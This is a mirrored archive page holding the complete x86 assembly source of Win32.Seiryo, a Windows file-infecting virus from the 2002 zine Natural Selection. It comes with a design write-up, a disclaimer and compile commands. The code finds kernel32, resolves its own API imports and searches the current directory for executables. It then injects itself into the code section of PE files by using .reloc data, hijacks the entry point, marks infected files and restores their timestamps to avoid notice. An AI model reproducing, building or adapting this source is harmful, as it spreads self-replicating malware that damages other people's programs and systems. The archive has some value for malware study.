13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/Win32/Win32.Seiryo.asm
2020-10-10 22:09:34 -05:00

977 lines
35 KiB
NASM

COMMENT ` ---------------------------------------------------------------- )=-
-=( Natural Selection Issue #1 ------------------------------ Win32.Seiryo )=-
-=( ---------------------------------------------------------------------- )=-
-=( 0 : Win32.Seiryo Features -------------------------------------------- )=-
Imports: Locates the Kernel, does it's own imports
Infects: PE files containing .reloc section by expanding the host's CODE
section and putting itself in it (and not setting the write
bit)
Locates: Files in current directory
Compatibility: All tested windows versions
Saves Stamps: Yes
MultiThreaded: No
Polymorphism: None
AntiAV / EPO: None
SEH Abilities: None
Payload: None
-=( 1 : Win32.Seiryo Design Goals ---------------------------------------- )=-
The purpose of this virus was to test a relatively new method of allocating
space for a virus. Traditionally, the virus is simply appended to the end of
the file as either a separate section or tacked onto the last section. This
has the problem that usually the entry point to the file is now not the code
section, and inevitably program execution leaves the code section.
This idea was derived from Zombie's Zmist - that is to use the .reloc section.
This virus looks for a file with a reloc section, memory maps it, and proceeds
to expand the code section to fit the virus. It then copies itself into this
space. All the other sections are moved back to make space for the virus, the
code section is updated to reflect these changes (thanks to reloc telling you
where the data is), and then the entire PE header must be updated. So, how
well does this method work?
Here's a breakdown of what must be done and it's complexity:
: Calculating the move amounts/new addresses is straight forward.
: Using .reloc to update the .text is surprisingly easy
But:
: Fixing up EVERY RVA/VA in the PE header is a nightmare, especially with the
documentation on the more obscure parts of it being hard to come by. The main
stuff that NEEDS to be fixed is:
: PE Header (SizeOfImage, etc)
: Data Directory
: Section Table
: Import Tables (HNA, and first thunk too)
: .reloc section
: Resource Section (else icons disappear - may as well write a
prepending virus if you don't)
: Export Section (and all that goes with that)
: Debug Entries (optional - just zero it)
: There are about 5-8 more thing, but they are never used and
good documentation on them is scarce
So, how well does it work? It works ok.
Well, coding it is lots of work, and the debugging highly unpleasant.
Reconstructed files are surprisingly stable providing that the code is
correctly debugged. It could well become the preferred method of infection in
terms of stealth. The lengthy code, potential bugs, and complexity could be a
deterrence for use in an average virus.
-=( 2 : Win32.Seiryo Design Faults --------------------------------------- )=-
This is a test virus, so the it's spreading ability is minimal.
The major drawback to this infection method is that not all files have .reloc
sections. In fact, only about half of non-system files, maybe less have one.
Thus this method should probably have a backup method of space allocation.
-=( 3 : Win32.Seiryo Disclaimer ------------------------------------------ )=-
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
COPYRIGHT
Copyright on materials in this magazine and the information therein and
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
RIGHTS AND LIMITATIONS
You have the right to use, copy and distribute the material in this
magazine free of charge, for all purposes allowed by your governing
laws. You are expressly PROHIBITED from using the material contained
herein for any purposes that would cause or would help promote
the illegal use of the material.
NO WARRANTY
The information contained within this magazine are provided "as is".
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
or completeness of given information, and expressly disclaims
liability for errors or omissions contained therein. No implied,
express, or statutory warranty, is given in conjunction with this magazine.
LIMITATION OF LIABILITY
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
damages including and without limitation, direct or indirect, special,
incidental, or consequential damages, losses, or expenses arising in
connection with this magazine, or the use thereof.
ADDITIONAL DISCLAIMER
Computer viruses will spread of their own accord between computer systems, and
across international boundaries. They are raw animals with no concern for the
law, and for that reason your possession of them makes YOU responsible for the
actions they carry out.
The viruses provided in this magazine are for educational purposes ONLY. They
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
conditions. If compiled and executed these viruses WILL land you in court(s).
You will be held responsible for your actions. As source code these viruses
are inert and covered by implied freedom of speech laws in some
countries. In binary form these viruses are malicious weapons. FEATHERED
SERPENTS do not condone the application of these viruses and will NOT be held
LIABLE for any MISUSE.
-=( 4 : Win32.Seiryo Compile Instructions -------------------------------- )=-
TASM32 5.0 & TLINK32 1.6.71.0
tasm32 /m /ml Seiryo.asm
tlink32 /Tpe /x Seiryo.obj, Seiryo.exe,,import32.lib
-=( 5 : Win32.Seiryo ----------------------------------------------------- ) `
%out Assembling file implies acceptance of disclaimer inside source code
.386
.model flat, stdcall
warn ; Warnings on
VIRSIZE equ VirEnd - VirStart
extrn ExitProcess:PROC
INVALID_HANDLE_VALUE equ 0FFFFFFFFh
OPEN_EXISTING equ 3
FILE_SHARE_WRITE equ 0002h
FILE_BEGIN equ 0
FILE_MAP_WRITE equ 2
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
PAGE_READWRITE equ 00000004h
WIN32_FIND_DATA struct
fd_dwFileAttributes dd 0
fd_ftCreationTime dd 0, 0
fd_ftLastAccessTime dd 0, 0
fd_ftLastWriteTime dd 0, 0
fd_nFileSizeHigh dd 0
fd_nFileSizeLow dd 0
fd_dwReserved0 dd 0
fd_dwReserved1 dd 0
fd_cFileName db 260 dup(0)
fd_cAlternateFileName db 14 dup(0)
WIN32_FIND_DATA ends
PEHEADER struct
ID dd ?
Machine dw ?
NumberOfSections dw ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
Characteristics dw ?
; Optional Header:
MagicNumber dw ?
MajorLinkerVersion db ?
MinorLinkerVersion db ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
SectionAlignment dd ?
FileAlignment dd ?
MajorOperatingSystemVersion dw ?
MinorOperatingSystemVersion dw ?
MajorImageVersion dw ?
MinorImageVersion dw ?
MajorSubsystemVersion dw ?
MinorSubsystemVersion dw ?
Reserved1 dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
CheckSum dd ?
Subsystem dw ?
DllCharacteristics dw ?
SizeOfStackReserve dd ?
SizeOfStackCommit dd ?
SizeOfHeapReserve dd ?
SizeOfHeapCommit dd ?
LoaderFlags dd ?
NumberOfRvaAndSizes dd ?
DataDirectory dd 20 dup (?)
PEHEADER ends
; -**************************-
; Section Table Entry format
; -**************************-
SECTION struct
sec_Name db 8 dup (?)
sec_VirtualSize dd ?
sec_VirtualAddress dd ?
sec_SizeOfRawData dd ?
sec_PointerToRawData dd ?
sec_PointerToRelocations dd ?
sec_PointerToLinenumbers dd ?
sec_NumberOfRelocations dw ?
sec_NumberOfLineNumbers dw ?
sec_Characteristics dd ?
SECTION ends
; Section Characteristics flags
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC_CODE equ 00000020h
SEC_INITIALIZED_DATA equ 00000040h
SEC_UNINITIALIZED_DATA equ 00000080h
SEC_NO_CACHE equ 04000000h
SEC_NOT_PAGEABLE equ 08000000h
SEC_SHARED equ 10000000h
SEC_EXECUTABLE equ 20000000h
SEC_READ equ 40000000h
SEC_WRITE equ 80000000h
; -*******************-
; Import Table format
; -*******************-
IMPORTTABLE struct
imp_Characteristics dd ?
imp_DateTimeStamp dd ?
imp_ForwarderChain dd ?
imp_Name dd ?
imp_FirstThunk dd ?
IMPORTTABLE ends
; -*******************-
; Export Table format
; -*******************-
EXPORTHEADER struct
exp_Characteristics dd ?
exp_DateTimeStamp dd ?
exp_MajorVersion dw ?
exp_MinorVersion dw ?
exp_Name dd ?
exp_Base dd ?
exp_NumberOfFunctions dd ?
exp_NumberOfNames dd ?
exp_AddressOfFunctions dd ?
exp_AddressOfNames dd ?
exp_AddressOfNameOrdinals dd ?
EXPORTHEADER ends
; -******************-
; Resource Dir Table
; -******************-
RESOURCETABLE struct
res_Characteristics dd ?
res_DateTimeStamp dd ?
res_MajorVersion dw ?
res_MinorVersion dw ?
res_NumNameEntry dw ?
res_NumIDEntry dw ?
RESOURCETABLE ends
RESOURCEENTRY struct
resent_ID dd ?
resent_Next dd ?
RESOURCEENTRY ends
; -****************-
; Thread Dir Table
; -****************-
THREADTABLE struct
thread_StartDataVA dd ?
thread_EndDataVA dd ?
thread_IndexVA dd ?
thread_CallbackTableVA dd ?
THREADTABLE ends
.DATA
dummy db 0
; *******
; Local Variables
; *******
AlignPhys equ -3
AlignVirtual equ -4
VirusRVA equ AlignVirtual-4
VirusVA equ VirusRVA-4
MoveAmount equ VirusVA-4
PhysMove equ MoveAmount-4
_FindFirstFileA equ PhysMove-4
_CreateFileA equ _FindFirstFileA-4
_CreateFileMappingA equ _CreateFileA-4
_MapViewOfFile equ _CreateFileMappingA-4
_UnmapViewOfFile equ _MapViewOfFile-4
_SetFilePointer equ _UnmapViewOfFile-4
_SetEndOfFile equ _SetFilePointer-4
_SetFileTime equ _SetEndOfFile-4
_CloseHandle equ _SetFileTime-4
_FindNextFileA equ _CloseHandle-4
Imports equ _FindNextFileA ; Label (no -4)
FileFind equ Imports-size WIN32_FIND_DATA
FileFindHnd equ FileFind-4
SizeOfLocals equ -FileFindHnd
.CODE
VirStart:
start:
push ebp ; Setup locals on stack
mov ebp, esp
sub esp, SizeOfLocals
mov edi, [ebp+4]
and edi, 0FFFFf000h
mov ecx, 128
FindKernelLoop:
cmp word ptr [edi], 'ZM'
je short GotKernel
sub edi, 1000h
loop FindKernelLoop
GotoExitInfector:
jmp ExitInfector
GotKernel:
movzx edx, word ptr [edi+3Ch]
add edx, edi
cmp dword ptr [edx], 'EP'
jne short GotoExitInfector
mov edx, [edx].DataDirectory ; Get Kernel Exports
add edx, edi
xor ecx, ecx
mov esi, [edx].exp_AddressOfNames
add esi, edi
FindGetProc:
inc ecx
cmp ecx, [edx].exp_NumberOfNames
jg short GotoExitInfector
lodsd
add eax, edi
cmp [eax], 'PteG'
jne short FindGetProc
cmp [eax+4], 'Acor'
jne short FindGetProc
cmp [eax+8], 'erdd'
jne short FindGetProc
mov ebx, [edx].exp_AddressOfNameOrdinals
add ebx, edi
movzx ecx, word ptr [ebx+2*ecx]
sub ecx, [edx].exp_Base
mov ebx, [edx].exp_AddressOfFunctions
add ebx, edi
mov edx, [ebx+4*ecx]
add edx, edi
call PushImportsAddress
db 14,'FindNextFileA',0
db 12,'CloseHandle',0
db 12,'SetFileTime',0
db 13,'SetEndOfFile',0
db 15,'SetFilePointer',0
db 16,'UnmapViewOfFile',0
db 14,'MapViewOfFile',0
db 19,'CreateFileMappingA',0
db 12,'CreateFileA',0
db 15,'FindFirstFileA',0
db 0
PushImportsAddress:
pop esi
xor ecx, ecx
mov ebx, edi
lea edi, [ebp+Imports]
ImportLoop:
mov cl, [esi]
inc esi
jecxz DoneImports
push edx
push ecx
call edx, ebx, esi
or eax, eax
jz ExitInfector
pop ecx
pop edx
stosd
add esi, ecx
jmp short ImportLoop
DoneImports:
lea eax, [ebp+FileFind] ; Find an Exe file
push eax
call PushFileMask
db '*.exe',0
PushFileMask:
call [ebp+_FindFirstFileA]
mov [ebp+FileFindHnd], eax
cmp eax, INVALID_HANDLE_VALUE
je ExitInfector
InfectNextFile:
lea eax, [ebp+FileFind].fd_cFileName ; Get FileName
cmp byte ptr [eax], 0 ; use short if no long
jne short UseLongFileName
lea eax, [ebp+FileFind].fd_cAlternateFileName
UseLongFileName:
call [ebp+_CreateFileA], eax, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0
cmp eax, INVALID_HANDLE_VALUE ; Map the file
je FindTheNextFile
push eax ; Push FileHandle for close
mov ebx, [ebp+FileFind].fd_nFileSizeLow
add ebx, VIRSIZE+10000
call [ebp+_CreateFileMappingA], eax, 0, PAGE_READWRITE, 0, ebx, 0
or eax, eax
je CloseAndExitInfector
push eax
xchg eax, esi
call [ebp+_MapViewOfFile], esi, FILE_MAP_WRITE, 0, 0, 0
push eax ; Push Memory Addy for close
mov esi, eax
cmp word ptr [eax], 'ZM' ; Check if exe is ok to infect
jne InfectableNo
cmp word ptr [eax+18h], 40h
jb InfectableNo
movzx ecx, word ptr [eax+3Ch]
add eax, ecx
cmp dword ptr [eax], 'EP'
jne InfectableNo
cmp [eax].NumberOfRvaAndSizes, 10
jb InfectableNo
cmp [eax].MinorLinkerVersion, 7 ; Infection Marker
je InfectableNo
movzx edx, [eax].SizeOfOptionalHeader
lea edx, [eax+edx+18h] ; Start of Section table
; Check For code section being first
test [edx].sec_Characteristics, SEC_CODE
jz InfectableNo
mov byte ptr [ebp+AlignVirtual],1 ; See if Virt aligned
mov ebx, [edx].sec_VirtualSize
mov ecx, [eax].SectionAlignment
dec ecx
test ebx, ecx
jz short VirtuallyAligned
dec byte ptr [ebp+AlignVirtual]
VirtuallyAligned:
mov byte ptr [ebp+AlignPhys],1 ; See if Phys aligned
mov edi, [edx].sec_SizeOfRawData
mov ecx, [eax].FileAlignment
dec ecx
test edi, ecx
jz short PhysicallyAligned
dec byte ptr [ebp+AlignPhys]
PhysicallyAligned:
cmp ebx, edi ; Which is smaller?
jbe short UseVirtualSize ; (i.e. actual size)
mov ebx, edi
UseVirtualSize:
mov edi, ebx ; Find Physical move amount
add edi, [edx].sec_PointerToRawData
lea edi, [edi+ecx+VIRSIZE]
not ecx
and edi, ecx
mov [ebp+PhysMove], edi
add ebx, [edx].sec_VirtualAddress ; Find VA & RVA of virus
mov [ebp+VirusRVA], ebx
mov edi, ebx
add ebx, [eax].ImageBase
mov [ebp+VirusVA], ebx
movzx ecx, [eax].NumberOfSections ; Code Section First?
mov ebx, [edx].sec_VirtualAddress
push edx
push ecx
CheckForFirstSection:
cmp ebx, [edx].sec_VirtualAddress
ja InfectableNo
add edx, size SECTION
loop CheckForFirstSection
pop ecx
pop edx
dec ecx ; Section 2 is Next?
jz short DoneCheckNextSec
mov ebx, [edx + size SECTION].sec_PointerToRawData
sub [ebp+PhysMove], ebx
mov ebx, [edx + size SECTION].sec_VirtualAddress
cmp ebx, [eax].AddressOfEntryPoint ; Entry Point in code sec?
jbe InfectableNo
CheckNextSec:
add edx, size SECTION
cmp ebx, [edx].sec_VirtualAddress
ja InfectableNo
loop CheckNextSec
DoneCheckNextSec:
add edi, VIRSIZE ; Calculate Virtual Move amount
mov ecx, [eax].SectionAlignment
dec ecx
add edi, ecx
not ecx
and edi, ecx
sub edi, ebx
jae short PositiveMoveAmount
xor edi, edi
PositiveMoveAmount:
mov [ebp+MoveAmount], edi
; ************
; Goto relocation section
mov eax, [eax].DataDirectory+40 ; Reloc Offset
or eax, eax
jz InfectableNo
call RVA2Addr
mov edi, eax
; EDI = start of relocation info (struct: repeat of following).
; RELOC INFO is:
; RVA dd ?
; Size dd ? - includes the 8 bytes for this and above field.
; - should always be 32bit aligned.
; entries dw (Size-8)/2 dup (?)
; Rellocs end when next RVA is 0
; Each entry's top 4 bits are the type of relocation. The rest of the 12 bits
; are an offset from the RVA of the position.
; (i.e. address = RVA + (entry & 0x0FFF) )
; Currently handles only relocations of types 0 (nop) and 3 (normal)
MoveRelocLoop:
mov eax, [edi]
or eax, eax ; If RVA=0 then done
je short DoneReloc
cmp eax, [ebp+VirusRVA] ; reloc it if < VirusRVA
jb short MoveRelocSkip
mov ecx, [ebp+MoveAmount]
add [edi], ecx
MoveRelocSkip:
mov ecx, [edi+4]
sub ecx, 8
shr ecx, 1 ; ecx = number of entries
add edi, 8
call RVA2Addr
mov edx, eax
InnerRelocLoop:
jecxz MoveRelocLoop ; Done block if ecx=0 - do next
dec ecx
movzx eax, word ptr [edi]
inc edi
inc edi
mov ebx,eax
shr ebx, 12 ; ebx = top 4 bits of entry
jz short InnerRelocLoop ; if 0, then it's padding
cmp ebx, 3
jne InfectableNo
and ah,0Fh ; remove type
mov ebx, [eax+edx] ; reloc if necessary
cmp ebx, [ebp+VirusVA]
jb short InnerRelocLoop
mov ebx, [ebp+MoveAmount]
add dword ptr [eax+edx], ebx
jmp short InnerRelocLoop
;RelocError:
; int 3
; int 3
DoneReloc:
; ************
; Move physically
; ************
movzx edx, word ptr [esi+3Ch] ; From the new virus position
add edx, esi ; move everything to EOF back
mov eax,[ebp+VirusRVA] ; by PhysMove
mov [ebp+VirusRVA], eax ; To do this, start at EOF
dec eax ; and go backwards to start
call RVA2Addr ; (hence std/rep movsb)
inc eax
mov ecx, esi
add ecx, [ebp+FileFind].fd_nFileSizeLow
sub ecx, eax
xchg eax, ebx
push esi
lea esi, [ebx+ecx-1]
mov eax, [ebp+PhysMove]
add [ebp+FileFind].fd_nFileSizeLow, eax
lea edi, [esi+eax]
std
rep movsb
cld
mov ecx, VIRSIZE ; Copy code into it
mov edi, ebx
call GetVirStart
GetVirStart:
pop esi
sub esi, GetVirStart-VirStart
rep movsb
pop esi
; ***********************
; Fix RVAs and other
; ***********************
; PE Header Fix
; Entry Point - should be fine for now
; ImageSize
mov eax, [ebp+MoveAmount]
add [edx].SizeOfImage, eax
; SizeOfCode
add [edx].SizeOfCode, eax
; BaseOfData
add [edx].BaseOfData, eax
; DataDirectory:
mov ecx, [edx].NumberOfRvaAndSizes
lea edi, [edx].DataDirectory
DataDirLoop:
mov eax, [edi]
or eax, eax
jz short DataDirSkip
cmp eax, [ebp+VirusRVA]
jb short DataDirSkip
add eax, [ebp+MoveAmount]
mov [edi], eax
DataDirSkip:
add edi,8
loop DataDirLoop
; Fix Section Table (edi conviniently points to it now)
mov eax, [ebp+VirusRVA]
sub eax, [edi].sec_VirtualAddress
add eax, VIRSIZE
cmp byte ptr [ebp+AlignVirtual],1
jne short NoVirtAlign
mov ecx, [edx].SectionAlignment
dec ecx
add eax, ecx
not ecx
and eax, ecx
NoVirtAlign:
mov [edi].sec_VirtualSize, eax
mov eax, [edi].sec_SizeOfRawData
add eax, [ebp+PhysMove]
mov [edi].sec_SizeOfRawData, eax
movzx ecx, [edx].NumberOfSections
mov ebx, [ebp+PhysMove]
SectionTableFixUp:
mov eax, [edi].sec_VirtualAddress
cmp eax, [ebp+VirusRVA]
jb short NextSecFixUp
add eax, [ebp+MoveAmount]
mov [edi].sec_VirtualAddress, eax
add [edi].sec_PointerToRawData,ebx
NextSecFixUp:
add edi, size SECTION
loop SectionTableFixUp
; Fix Up Relocation Section - done above (during reloc)
; Fix up Imports
movzx eax, word ptr [esi+3Ch]
add eax, esi
mov eax, [eax].DataDirectory+8
call RVA2Addr
xchg eax, edi
mov ebx, [ebp+MoveAmount]
FixNextImport:
mov eax, [edi].imp_Name
or eax, eax
je short DoneImportFix
cmp eax, [ebp+VirusRVA]
jb short SkipImpNameFix
add [edi].imp_Name, ebx
SkipImpNameFix:
mov eax, [edi].imp_Characteristics
or eax, eax
jz short FixFirstThunk
cmp eax, [ebp+VirusRVA]
jb short SkipImpCharFix
add eax, ebx
mov [edi].imp_Characteristics, eax
SkipImpCharFix:
; Fix Characteristic field now
call RVA2Addr
ImpCharLoop:
mov ecx, [eax]
or ecx, ecx
jz short ImpCharLoopDone
js short ImpCharLoopNoFix
cmp ecx, [ebp+VirusRVA]
jb short ImpCharLoopNoFix
add [eax], ebx
ImpCharLoopNoFix:
add eax, 4
jmp short ImpCharLoop
ImpCharLoopDone:
FixFirstThunk:
mov eax, [edi].imp_FirstThunk
cmp eax, [ebp+VirusRVA]
jb short DoneSectionFix
add eax, ebx
mov [edi].imp_FirstThunk, eax
DoneSectionFix:
call RVA2Addr
ImpThunkLoop:
mov ecx, [eax]
or ecx, ecx
jz short ImpThunkLoopDone
js short ImpThunkNoFix
cmp ecx, [ebp+VirusRVA]
jb short ImpThunkNoFix
add dword ptr [eax], ebx
ImpThunkNoFix:
add eax, 4
jmp short ImpThunkLoop
ImpThunkLoopDone:
add edi, size IMPORTTABLE
jmp short FixNextImport
DoneImportFix:
; Fix up Resource (2)
mov eax, [edx].DataDirectory+(2*8)
or eax, eax
jz short FixUpNoResources
call RVA2Addr
push edx
mov edx, eax
xchg eax, edi
mov ebx, [ebp+MoveAmount]
call FixupResource
pop edx
FixUpNoResources:
;FixUpExports:
mov eax, [edx].DataDirectory
or eax, eax
jz short FixUpNoExports
call RVA2Addr
push edx
mov edx, [ebp+VirusRVA]
xchg eax, edi
add [edi].exp_Name, ebx ; Fix dll name
add [edi].exp_AddressOfFunctions, ebx ; Fix RVA to address Array
mov eax, [edi].exp_AddressOfFunctions
call RVA2Addr
mov ecx, [edi].exp_NumberOfFunctions
ExpFixFuncRVAsLoop: ; Not handling ecx=0, who cares
cmp [eax], edx
jb short ExpFixFuncSkipRVA
add [eax], ebx
ExpFixFuncSkipRVA:
add eax, 4
loop ExpFixFuncRVAsLoop
add [edi].exp_AddressOfNames, ebx
mov eax, [edi].exp_AddressOfNames
call RVA2Addr
mov ecx, [edi].exp_NumberOfNames
ExpFixNameRVAsLoop:
cmp [eax], edx
jb short ExpFixNameSkipRVA
add [eax], ebx
ExpFixNameSkipRVA:
add eax, 4
loop ExpFixNameRVAsLoop
add [edi].exp_AddressOfNameOrdinals, ebx
pop edx
FixUpNoExports:
xor eax, eax
mov [edx].DataDirectory+(6*8), eax ; Kill debug info
mov [edx].DataDirectory+(6*8+4), eax ; Kill debug info
; Fix Thread Storage
; - All are VAs - thus they seem to be fixed by fixing the reloc entries.
; (at least in my test files)
;
; mov eax, [edx].DataDirectory+(9*8)
; or eax, eax
; jz short NoThreadStorage
; call RVA2Addr
; xchg eax, edi
;
; mov eax, [edi].thread_StartDataVA
; cmp eax, [ebp+VirusVA]
; jb short ThreadNoFixStart
; add [edi].thread_StartDataVA, ebx
;ThreadNoFixStart:
; mov eax, [edi].thread_EndDataVA
; cmp eax, [ebp+VirusVA]
; jb short ThreadNoFixEnd
; add [edi].thread_StartDataVA, ebx
;ThreadNoFixEnd:
; mov eax, [edi].thread_IndexVA
; cmp eax, [ebp+VirusVA]
; jb short ThreadNoFixIndex
; add [edi].thread_IndexVA, ebx
;ThreadNoFixIndex:
; mov eax, [edi].thread_CallbackTableVA
; cmp eax, [ebp+VirusVA]
; jb short ThreadNoFixCallback
; add [edi].thread_CallbackTableVA, ebx
;ThreadNoFixCallback:
; sub eax, [edx].ImageBase
; call RVA2Addr
NoThreadStorage:
; Fiddle with entry point
mov [edx].MinorLinkerVersion, 7
mov ecx, [edx].AddressOfEntryPoint
mov eax, [ebp+VirusRVA]
mov [edx].AddressOfEntryPoint, eax ; Set new entry point
add eax, offset HostFileEntryPoint - offset VirStart
sub ecx, 4
sub ecx, eax
call RVA2Addr
mov [eax], ecx ; Fix Jump to host in mem map
; Checklist:
; ---------
; Fix up Exports (0) done
; Fix up Imports (1) done
; Fix up Resource (2) done
; Fix up Exception (3)
; Fix up Security (4)
; Fix up Reloc (5) done
; Fix up Debug (6) zeroed
; Fix up Description/Architecture (7) done?
; Fix up Machine Value (8)
; Fix up ThreadStorage (9) done by reloc fixup?
; Fix up LoadConfiuration (10)
; Fix up Bound Import (11)
; Fix up Import Address Table (12) done by imports fixup
; Fix up Delay Import (13)
; Fix up COM Runtime Descriptor (14)
InfectableNo:
UnmapAndClose:
call [ebp+_UnmapViewOfFile]
call [ebp+_CloseHandle]
mov ebx, [esp] ; Reset File Size
call [ebp+_SetFilePointer], ebx, [ebp+FileFind].fd_nFileSizeLow, 0, FILE_BEGIN
call [ebp+_SetEndOfFile], ebx
lea eax, [ebp+FileFind].fd_ftCreationTime
lea ecx, [ebp+FileFind].fd_ftLastAccessTime
lea edx, [ebp+FileFind].fd_ftLastWriteTime
call [ebp+_SetFileTime], ebx, eax,ecx,edx
CloseAndExitInfector:
call [ebp+_CloseHandle]
FindTheNextFile:
lea eax, [ebp+FileFind]
call [ebp+_FindNextFileA], dword ptr [ebp+FileFindHnd], eax
or eax, eax
jnz InfectNextFile
ExitInfector:
mov esp, ebp
pop ebp
db 0E9h ; jmp VirEnd (full displacement)
HostFileEntryPoint:
dd offset VirEnd - offset HostFileEntryPoint - 4
; Fix up resource
; edi = base address of resource
; edx = current shit
; ebx = reloc amount
FixupResource:
push eax
push ecx
push edx
movzx ecx, [edx].res_NumNameEntry
movzx eax, [edx].res_NumIDEntry
add ecx, eax
add edx, size RESOURCETABLE
FixResourceLoop:
; no need to mess with [edx].resent_ID
; it's either an 31-bit integer or the top bit is set and it's a
; relative displacement from the resource base address
FixResourceIsID:
mov eax, [edx].resent_Next
or eax, eax
js short FixResourceRecurse
add [edi+eax], ebx ; Fix RVA
jmp short FixResourceNext
FixResourceRecurse:
btc eax,31 ; kill top bit
push edx ; save current position
lea edx, [edi+eax] ; find pos of next res dir
call FixupResource ; Recursively fix
pop edx
FixResourceNext:
add edx, size RESOURCEENTRY
loop FixResourceLoop
pop edx
pop ecx
pop eax
ret
; From RVA calculate Physical offset
; Enter
; eax = RVA
; esi = Start Of Memory mapped PE file.
; Leave:
; eax = Mem map Address
RVA2Addr:
push ebx
push edx
push ecx
push esi
push edi
movzx edi, word ptr [esi+3Ch]
add edi, esi
movzx edx, [edi].SizeOfOptionalHeader
movzx ecx, [edi].NumberOfSections
lea edx, [edi+edx+18h] ; Start of Section table
mov ebx, [edx].sec_VirtualAddress
mov esi, [edx].sec_PointerToRawData
SectionLoop1:
cmp ebx, [edx].sec_VirtualAddress
jae short SkipSecLoop1
cmp eax, [edx].sec_VirtualAddress
jb short SkipSecLoop1
mov ebx, [edx].sec_VirtualAddress
mov esi, [edx].sec_PointerToRawData
SkipSecLoop1:
add edx, size SECTION
loop SectionLoop1
sub eax, ebx
add eax, esi
pop edi
pop esi
add eax, esi
pop ecx
pop edx
pop ebx
ret
VirEnd:
call ExitProcess, 0
end start
COMMENT ` ---------------------------------------------------------------- )=-
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
-=( ---------------------------------------------------------------------- ) `